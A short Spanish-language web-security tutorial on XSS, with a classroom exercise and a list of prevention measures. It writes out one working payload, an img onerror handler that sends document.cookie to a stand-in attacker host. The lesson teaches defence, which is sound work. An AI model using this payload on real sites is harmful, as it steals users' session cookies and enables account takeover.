JavaScript

Vulnerabilidades

XSS

Ocurre cuando un usuario malicioso introduce en un campo código susceptible de ser interpretado por el navegador (HTML y/o JavaScript) o por el servidor (SQL).

El código más sencillo capaz de explotar la vulnerabilidad es:

<img src='no' onerror="this.src='https://malo.web/robo?cookie=' + document.cookie;this.onerror=null;">

❓ Ejercicio: Introduce el código anterior en la web vulnerable del tema de HTML. Utilizando el inspector del navegador, averigua cómo se envían las cookies al atacante y piensa cómo arreglarías los problemas de dicha web.

Diagrama solución...

Para prevenir el XSS:

  1. Usar textContent para escapar el contenido introducido por los usuarios antes de mostrarlo.
  2. No utilizar el eval de JavaScript.
  3. Configurar las cookies de sesión para que sean HttpOnly, de modo que no estarán presentes en el document.cookie.
  4. Nunca guardar credenciales en el Web Storage.